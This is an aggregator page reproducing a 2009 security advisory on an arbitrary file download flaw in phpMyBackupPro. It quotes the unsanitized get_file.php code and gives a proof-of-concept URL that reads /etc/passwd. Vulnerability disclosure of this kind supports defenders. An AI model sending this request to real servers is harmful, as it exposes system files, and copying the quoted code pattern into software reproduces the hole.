Lucene search
+L

phpMyBackupPro - Arbitrary File Download

🗓️ 16 Nov 2009 00:00:00Reported by Amol NaikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

phpMyBackupPro - Arbitrary File Download vulnerability PHP app, allows unauthorized file download

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-4050
16 Nov 200900:00
circl
circl
Circl
CVE-2015-4181
16 Nov 200900:00
circl
cnvd
CNVD
phpMyBackupPro path traversal vulnerability (CNVD-2017-30647)
29 Aug 201700:00
cnvd
cve
CVE
CVE-2009-4050
23 Nov 200917:00
cve
cve
CVE
CVE-2015-4181
25 Aug 201718:00
cve
cvelist
Cvelist
CVE-2009-4050
23 Nov 200917:00
cvelist
cvelist
Cvelist
CVE-2015-4181
25 Aug 201718:00
cvelist
euvd
EUVD
EUVD-2009-4021
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-4050
23 Nov 200917:30
nvd
nvd
NVD
CVE-2015-4181
25 Aug 201718:29
nvd
Rows per page
################################################################################
	Arbitrary File Download in phpMyBackupPro

	Name			Arbitrary File Download in phpMyBackupPro
	Systems Affected	phpMyBackupPro v 2.1 and possibly earlier versions
	site			http://www.phpmybackuppro.net
	Author			Amol Naik (amolnaik4[at]gmail.com)
	Date			16/11/2009
################################################################################


############
1. OVERVIEW
############

phpMyBackupPro is a web-based MySQL backup application in PHP.
You can schedule backups, download, email or upload them with FTP and backup whole file directories.
Zip and gzip compression, easy interface and installation. Many languages and online help!

###############
2. DESCRIPTION
###############

phpMyBackupPro is vulnerable to Arbitrary File Download.

######################
3. TECHNICAL DETAILS
######################

Arbritrary File Downlaod
++++++++++++++++++++++++

Vulnerable page		get_file.php
Vulnerable Parameters	view
Vulnerable Code

---------------------------------------------------------------------------------------

// show the requested file
if (isset($_GET['view']) && file_exists($_GET['view'])) {
    if (isset($_GET['download'])) {
        header("Content-Type: application/octet-stream");
        header("Content-Disposition: attachment; filename=".basename($_GET['view']));
        readfile($_GET['view']);
    } else {
        ......
        ......
        .......
    }

---------------------------------------------------------------------------------------

The parameter "view" is not properly sanitized which results in Arbitrary file download.

++++
POC
++++

http://localhost/phpMyBackupPro/get_file.php?download=true&view=/etc/passwd



############
4. TimeLine
############

20th Oct 2009		Bug Discovered
20th Oct 2009		Reported to Vendor
27th Oct 2009		vendor agreed to the vulnerablity and ready to fix it.
16th Nov 2009		No communication received about the status of the fix.
16th Nov 2009		Public Disclosure

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Nov 2009 00:00Current
7High risk
Vulners AI Score7
CVSS 25
CVSS 37.5
EPSS0.11574
33